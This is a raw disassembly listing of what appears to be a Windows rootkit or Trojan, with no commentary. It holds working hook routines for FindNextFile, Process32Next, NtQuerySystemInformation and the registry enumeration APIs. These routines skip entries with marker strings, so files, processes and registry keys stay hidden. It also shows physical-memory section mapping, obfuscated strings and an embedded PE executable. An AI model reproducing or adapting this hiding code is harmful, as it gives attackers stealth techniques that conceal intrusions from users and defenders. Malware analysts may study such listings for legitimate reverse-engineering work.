off_43C6CC	dd offset loc_401FCE	; DATA XREF: sub_401D31+27Cr
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FDF
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FCE
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FCE
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
aFindnextfilea	db 'FindNextFileA',0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43C85B:				; CODE XREF: .data:0043C8A4j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CA68h
		test	eax, eax
		jz	short loc_43C8A6
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_43C875:				; CODE XREF: .data:0043C87Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_43C87D
		inc	ebx
		jmp	short loc_43C875
; ---------------------------------------------------------------------------


loc_43C87D:				; CODE XREF: .data:0043C878j
		mov	word ptr [ebx],	463Ah
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD49Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43C8A3
		popa
		jmp	short loc_43C8A6
; ---------------------------------------------------------------------------


loc_43C8A3:				; CODE XREF: .data:0043C89Ej
		popa
		jmp	short loc_43C85B
; ---------------------------------------------------------------------------


loc_43C8A6:				; CODE XREF: .data:0043C868j
					; .data:0043C8A1j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
		db 65h,	57h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43C8DC:				; CODE XREF: .data:0043C92Bj
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CAE9h
		test	eax, eax
		jz	short loc_43C92D
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_43C8F6:				; CODE XREF: .data:0043C8FEj
		cmp	word ptr [ebx],	0
		jz	short loc_43C900
		inc	ebx
		inc	ebx
		jmp	short loc_43C8F6
; ---------------------------------------------------------------------------


loc_43C900:				; CODE XREF: .data:0043C8FAj
		mov	dword ptr [ebx], 46003Ah
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D625h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43C92A
		popa
		jmp	short loc_43C92D
; ---------------------------------------------------------------------------


loc_43C92A:				; CODE XREF: .data:0043C925j
		popa
		jmp	short loc_43C8DC
; ---------------------------------------------------------------------------


loc_43C92D:				; CODE XREF: .data:0043C8E9j
					; .data:0043C928j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 0FFFFh
dword_43C940	dd 0FFFFFFh, 7551744Eh,	53797265h, 65747379h, 666E496Dh
					; DATA XREF: .data:0043CE8Co
		dd 616D726Fh, 6E6F6974h
		db 0
; ---------------------------------------------------------------------------


loc_43C95D:				; DATA XREF: .data:0043CE94o
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx
		sub	esp, 10h
		mov	eax, [ebp+14h]
		mov	edi, [ebp+10h]
		mov	ebx, [ebp+0Ch]
		mov	[esp+0Ch], eax
		mov	[esp+8], edi
		mov	[esp+4], ebx
		mov	esi, [ebp+8]
		mov	[esp], esi
		call	near ptr 245CB93h
		mov	[ebp-4], eax
		cmp	esi, 5
		jz	short loc_43C9AD


loc_43C999:				; CODE XREF: .data:0043C9B3j
					; .data:0043CA06j
		mov	eax, [ebp-4]
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_43C9AD:				; CODE XREF: .data:0043C997j
		cmp	edi, 1F40h
		jle	short loc_43C999
		jmp	short loc_43C9BB
; ---------------------------------------------------------------------------


loc_43C9B7:				; CODE XREF: .data:0043CA08j
		mov	esi, ebx


loc_43C9B9:				; CODE XREF: .data:0043CA00j
		add	ebx, eax


loc_43C9BB:				; CODE XREF: .data:0043C9B5j
		pusha
		mov	eax, [ebx+44h]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_43C9C9:				; CODE XREF: .data:0043C9DCj
		bt	eax, ebx
		jb	short loc_43C9D4
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43C9D8
; ---------------------------------------------------------------------------


loc_43C9D4:				; CODE XREF: .data:0043C9CCj
		mov	byte ptr [esp+ebx], 31h


loc_43C9D8:				; CODE XREF: .data:0043C9D2j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43C9C9
		push	esp
		call	near ptr 0C4FD5F0h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43C9EF
		popa
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------


loc_43C9EF:				; CODE XREF: .data:0043C9EAj
		popa
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_43C9FE
		mov	dword ptr [esi], 0
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------


loc_43C9FE:				; CODE XREF: .data:0043C9F4j
		add	[esi], eax
		jmp	short loc_43C9B9
; ---------------------------------------------------------------------------


loc_43CA02:				; CODE XREF: .data:0043C9EDj
					; .data:0043C9FCj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_43C999
		jmp	short loc_43C9B7
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFFFFh
aProcess32next	db 'Process32Next',0    ; DATA XREF: .data:off_43CE7Co
word_43CA1E	dw 8360h		; DATA XREF: .data:off_43CE84o
		dd 46A08C5h, 0B0BE855h,	0C0850B0Bh, 0EB610374h,	458B610Bh
		dd 1013D08h, 14740101h,	80808E8h, 1FF8108h, 74010101h
		dd 1013D07h, 5750101h, 20202E9h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43CA66:				; CODE XREF: .data:0043CAB4j
		sub	esp, 8
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	[esp+4], ebx
		mov	[esp], edi
		call	near ptr 245CC7Dh
		test	eax, eax
		jz	short loc_43CAB6
		pusha
		mov	eax, [ebx+8]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_43CA8D:				; CODE XREF: .data:0043CAA0j
		bt	eax, ebx
		jb	short loc_43CA98
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43CA9C
; ---------------------------------------------------------------------------


loc_43CA98:				; CODE XREF: .data:0043CA90j
		mov	byte ptr [esp+ebx], 31h


loc_43CA9C:				; CODE XREF: .data:0043CA96j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43CA8D
		push	esp
		call	near ptr 0C4FD6B4h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43CAB3
		popa
		jmp	short loc_43CAB6
; ---------------------------------------------------------------------------


loc_43CAB3:				; CODE XREF: .data:0043CAAEj
		popa
		jmp	short loc_43CA66
; ---------------------------------------------------------------------------


loc_43CAB6:				; CODE XREF: .data:0043CA7Dj
					; .data:0043CAB1j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CADC:				; CODE XREF: .data:0043CB29j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CCEFh
		test	eax, eax
		jnz	short loc_43CB2B
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CAF7:				; CODE XREF: .data:0043CAFDj
		cmp	byte ptr [ebx],	0
		jz	short loc_43CAFF
		inc	ebx
		jmp	short loc_43CAF7
; ---------------------------------------------------------------------------


loc_43CAFF:				; CODE XREF: .data:0043CAFAj
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD720h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CB25
		popa
		jmp	short loc_43CB2B
; ---------------------------------------------------------------------------


loc_43CB25:				; CODE XREF: .data:0043CB20j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43CADC
; ---------------------------------------------------------------------------


loc_43CB2B:				; CODE XREF: .data:0043CAEFj
					; .data:0043CB23j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CB44:				; CODE XREF: .data:0043CB97j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CD57h
		test	eax, eax
		jnz	short loc_43CB99
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CB5F:				; CODE XREF: .data:0043CB67j
		cmp	word ptr [ebx],	0
		jz	short loc_43CB69
		inc	ebx
		inc	ebx
		jmp	short loc_43CB5F
; ---------------------------------------------------------------------------


loc_43CB69:				; CODE XREF: .data:0043CB63j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D88Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CB93
		popa
		jmp	short loc_43CB99
; ---------------------------------------------------------------------------


loc_43CB93:				; CODE XREF: .data:0043CB8Ej
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43CB44
; ---------------------------------------------------------------------------


loc_43CB99:				; CODE XREF: .data:0043CB57j
					; .data:0043CB91j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
dword_43CBA0	dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h		db 0
; ---------------------------------------------------------------------------


loc_43CBB1:				; DATA XREF: .data:0043CEE4o
		push	ebp
		mov	ebp, esp


loc_43CBB4:				; CODE XREF: .data:0043CC2Fj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CBC2
		push	dword ptr [eax]


loc_43CBC2:				; CODE XREF: .data:0043CBBEj
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CDE1h
		test	eax, eax
		jnz	short loc_43CC31
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CBE9:				; CODE XREF: .data:0043CBF1j
		cmp	word ptr [ebx],	0
		jz	short loc_43CBF3
		inc	ebx
		inc	ebx
		jmp	short loc_43CBE9
; ---------------------------------------------------------------------------


loc_43CBF3:				; CODE XREF: .data:0043CBEDj
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D918h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CC1D
		popa
		jmp	short loc_43CC31
; ---------------------------------------------------------------------------


loc_43CC1D:				; CODE XREF: .data:0043CC18j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CC2A
		pop	dword ptr [eax]


loc_43CC2A:				; CODE XREF: .data:0043CC26j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CBB4
; ---------------------------------------------------------------------------


loc_43CC31:				; CODE XREF: .data:0043CBE1j
					; .data:0043CC1Bj
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43CC3D
		add	esp, 4


loc_43CC3D:				; CODE XREF: .data:0043CC38j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CC58:				; CODE XREF: .data:0043CCCDj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CC66
		push	dword ptr [eax]


loc_43CC66:				; CODE XREF: .data:0043CC62j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CE85h
		test	eax, eax
		jnz	short loc_43CCCF
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CC8D:				; CODE XREF: .data:0043CC93j
		cmp	byte ptr [ebx],	0
		jz	short loc_43CC95
		inc	ebx
		jmp	short loc_43CC8D
; ---------------------------------------------------------------------------


loc_43CC95:				; CODE XREF: .data:0043CC90j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD8B6h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CCBB
		popa
		jmp	short loc_43CCCF
; ---------------------------------------------------------------------------


loc_43CCBB:				; CODE XREF: .data:0043CCB6j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CCC8
		pop	dword ptr [eax]


loc_43CCC8:				; CODE XREF: .data:0043CCC4j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CC58
; ---------------------------------------------------------------------------


loc_43CCCF:				; CODE XREF: .data:0043CC85j
					; .data:0043CCB9j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43CCDB
		add	esp, 4


loc_43CCDB:				; CODE XREF: .data:0043CCD6j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
dword_43CCE0	dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h		db 65h,	57h, 0
; ---------------------------------------------------------------------------


loc_43CCF3:				; DATA XREF: .data:0043CF04o
		push	ebp
		mov	ebp, esp


loc_43CCF6:				; CODE XREF: .data:0043CD71j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CD04
		push	dword ptr [eax]


loc_43CD04:				; CODE XREF: .data:0043CD00j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CF23h
		test	eax, eax
		jnz	short loc_43CD73
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CD2B:				; CODE XREF: .data:0043CD33j
		cmp	word ptr [ebx],	0
		jz	short loc_43CD35
		inc	ebx
		inc	ebx
		jmp	short loc_43CD2B
; ---------------------------------------------------------------------------


loc_43CD35:				; CODE XREF: .data:0043CD2Fj
		mov	dword ptr [ebx], 560023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50DA5Ah
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CD5F
		popa
		jmp	short loc_43CD73
; ---------------------------------------------------------------------------


loc_43CD5F:				; CODE XREF: .data:0043CD5Aj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CD6C
		pop	dword ptr [eax]


loc_43CD6C:				; CODE XREF: .data:0043CD68j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CCF6
; ---------------------------------------------------------------------------


loc_43CD73:				; CODE XREF: .data:0043CD23j
					; .data:0043CD5Dj
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43CD7F
		add	esp, 4


loc_43CD7F:				; CODE XREF: .data:0043CD7Aj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
		db 65h,	41h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43CD9A:				; CODE XREF: .data:0043CE0Fj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CDA8
		push	dword ptr [eax]


loc_43CDA8:				; CODE XREF: .data:0043CDA4j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CFC7h
		test	eax, eax
		jnz	short loc_43CE11
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43CDCF:				; CODE XREF: .data:0043CDD5j
		cmp	byte ptr [ebx],	0
		jz	short loc_43CDD7
		inc	ebx
		jmp	short loc_43CDCF
; ---------------------------------------------------------------------------


loc_43CDD7:				; CODE XREF: .data:0043CDD2j
		mov	word ptr [ebx],	5623h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD9F8h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CDFD
		popa
		jmp	short loc_43CE11
; ---------------------------------------------------------------------------


loc_43CDFD:				; CODE XREF: .data:0043CDF8j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CE0A
		pop	dword ptr [eax]


loc_43CE0A:				; CODE XREF: .data:0043CE06j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CD9A
; ---------------------------------------------------------------------------


loc_43CE11:				; CODE XREF: .data:0043CDC7j
					; .data:0043CDFBj
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43CE1D
		add	esp, 4


loc_43CE1D:				; CODE XREF: .data:0043CE18j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 2 dup(0FFh),	0
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402A48+3F5o
					; .data:off_43CE80o
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_402226+Eo
					; .data:0043CE90o ...
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: .data:0043CEE0o
					; .data:0043CF00o
aIphlpapi_dll	db 'iphlpapi.dll',0
aInetmib1_dll	db 'inetmib1.dll',0
aWsock32_dll	db 'wsock32.dll',0
aUser32_dll	db 'user32.dll',0
off_43CE7C	dd offset aProcess32next ; DATA	XREF: sub_402A48+BAr
					; sub_402A48+EDr ...
					; "Process32Next"
off_43CE80	dd offset aKernel32_dll	; DATA XREF: sub_402A48+9Br
					; "kernel32.dll"
off_43CE84	dd offset word_43CA1E	; DATA XREF: sub_402843+1F1r
byte_43CE88	db 0			; DATA XREF: sub_402A48+66r
					; sub_402A48+83r
		align 4
		dd offset dword_43C940+4
		dd offset aNtdll_dll	; "ntdll.dll"
		dd offset loc_43C95D
		dd 1, 43C8BDh, 43CE27h,	43C8CBh, 1, 43C83Ch, 43CE27h, 43C84Ah
		dd 2, 43CB35h, 43CE3Eh,	43CB41h, 1, 43CACDh, 43CE3Eh, 43CAD9h
		dd 0
		dd offset dword_43CBA0+3
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43CBB1
		dd 1, 43CC47h, 43CE3Eh,	43CC55h, 0
		dd offset dword_43CCE0+5
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43CCF3
		dd 1, 43CD89h, 43CE3Eh,	43CD97h, 5 dup(0)
		dd 1
dword_43CF30	dd 0Ah		dword_43CF34	dd 0							; .text:loc_4021C8r ...
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402226+25o
		db '^H',0
aNtunmapviewofs	db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_402226+3Ao
		db 7Ah,	57h, 34h
		dd 7F3640h
aNtopensection	db 'NtOpenSection',0    ; DATA XREF: sub_402226+4Ao
aBc		db ':Bc',0
aNtmapviewofsec	db 'NtMapViewOfSection',0 ; DATA XREF: sub_402226+65o
		align 2
aRtlntstatustod	db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_402226+75o
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_4022BB+95o
		align 4
aDevicePhysical:			; DATA XREF: sub_4022BB+Eo
		unicode	0, <\device\physicalmemory>,0
byte_43CFE6	db 0			; DATA XREF: sub_4022BB+5Eo
dword_43CFE7	dd 465420h	byte_43CFEB	db 0			; DATA XREF: sub_4022BB+A1o
dword_43CFEC	dd 248243h	word_43CFF0	dw 66h			; DATA XREF: sub_4024A8+4r
		align 4
dword_43CFF4	dd 0		dword_43CFF8	dd 11h		dword_43CFFC	dd 0							; .text:loc_4024EAr ...
aWcscmp		db 'wcscmp',0           ; DATA XREF: .data:off_43D094o
aHtons		db 'htons',0
aVirtualprotect	db 'VirtualProtect',0
aNua		db 'NU€',0
aGetcurrentproc	db 'GetCurrentProcessId',0
		dd 6E694600h, 6E695764h, 41776F64h, 74306B00h, 3B6E704Dh
		dd 6E655300h, 73654D64h, 65676173h, 3E530041h, 7349007Eh
		dd 52646142h, 50646165h, 37007274h, 83382520h, 6C470065h
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 6C470041h, 6C61626Fh
		dd 646E6946h, 6D6F7441h, 57h
byte_43D090	db 3			; DATA XREF: sub_402563+87r
		align 4
off_43D094	dd offset aWcscmp	; DATA XREF: sub_402563+FBr
					; sub_402563+15Er
					; "wcscmp"
off_43D098	dd offset aNtdll_dll	; DATA XREF: sub_402563+E8r
					; "ntdll.dll"
		dd 5, 43D007h, 43CE65h,	7, 43D00Dh, 43CE27h, 8,	43D020h
		dd 43CE27h, 9, 43D035h,	43CE71h, 0Ah, 43D049h, 43CE71h
		dd 0Bh,	43D05Ah, 43CE27h, 0Ch, 43D06Eh,	43CE27h, 0Dh, 43D07Eh
		dd 43CE27h
aCcLN		db 'CC$l+n',0           ; DATA XREF: sub_402563+Co
word_43D103	dw 68h			; DATA XREF: sub_402563+14Br
aTLd		db 'T-+ld&',0           ; DATA XREF: sub_402563+1BDo
a5anwhv		db '5€Nwhv',0           ; DATA XREF: sub_402843+3Co
aZ		db 'z ',0               ; DATA XREF: sub_402843+DFo
aNiL		db 'NI*l',0             ; DATA XREF: sub_402843+135o
word_43D11B	dw 62h			; DATA XREF: sub_402843+191r
byte_43D11D	db 6Ch,	75h, 0		; DATA XREF: sub_402A48+3Fo
aOGdu		db 'O$/gdu ',0          ; DATA XREF: sub_402A48+101o
aE3		db '-;E3',0             ; DATA XREF: sub_402A48+40Bo
aZt_		db '!/zt_$',0           ; DATA XREF: sub_402A48+511o
byte_43D134	db 0			; DATA XREF: sub_403010+46o
aZ_0		db ' Z',0               ; DATA XREF: sub_403010+216o
		dw 7
		unicode	0, <>,0
		dd 10h
dword_43D140	dd 0Ah							; sub_4032E2:loc_403308r ...
aObxzqn@	db 'oxzqn@',0          ; DATA XREF: sub_403370+48o
byte_43D14C	db 0			; DATA XREF: sub_403370+9Eo
word_43D14D	dw 4Eh			; DATA XREF: sub_40341E+6Cr
word_43D14F	dw 57h			; DATA XREF: sub_40349A+Cr
dword_43D151	dd 813B36h	aJ95e		db ' J95E',0            ; DATA XREF: sub_40349A+79o
		align 4
dword_43D15C	dd 1				dd 0Ah
dword_43D164	dd 0							; sub_40354F:loc_40357Dr ...
byte_43D168	db 5Eh,	48h, 0		; DATA XREF: sub_4035DB+Fo
byte_43D16B	db 7Ah			; DATA XREF: sub_4035DB+1Fo
		dd 36403457h
		db 7Fh,	0
aDmc9		db '!dmC9',0            ; DATA XREF: sub_4036BC+17o
		dd 0
		dd 11h
dword_43D180	dd 0							; sub_40372A:loc_403751r ...
a9b7		db ':9b 7-',0           ; DATA XREF: .text:00403873o
aUa		db 'U€',0               ; DATA XREF: .text:004038E9o
		align 10h
		dd 6, 0Eh
dword_43D198	dd 0ADh							; sub_40390E:loc_403943r ...
dword_43D19C	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0		dd 40h,	8 dup(0)
		dd 80h,	0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
		dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
		dd 2000h, 10000000h, 1000h, 200h, 1, 0
		dd 4, 0
		dd 8000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	7000h, 48h, 5000h, 37Ch, 6 dup(0)
		dd 6000h, 0DCh,	3000h, 54h, 12h	dup(0)
a_text		db '.text',0
		align 4
		db '¼',7,0
		align 10h
		dd 1000h, 7BCh,	400h, 3	dup(0)
		dd 60000020h, 7373622Eh, 0
		dd 0FE0h, 2000h, 5 dup(0)
		dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
		dd 3 dup(0)
		dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
		dd 3 dup(0)
		dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
		dd 3 dup(0)
		dd 2000020h, 6164652Eh,	6174h, 48h, 7000h, 48h,	1800h
		dd 3 dup(0)
		dd 40000020h, 5Ch dup(0)
		dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh
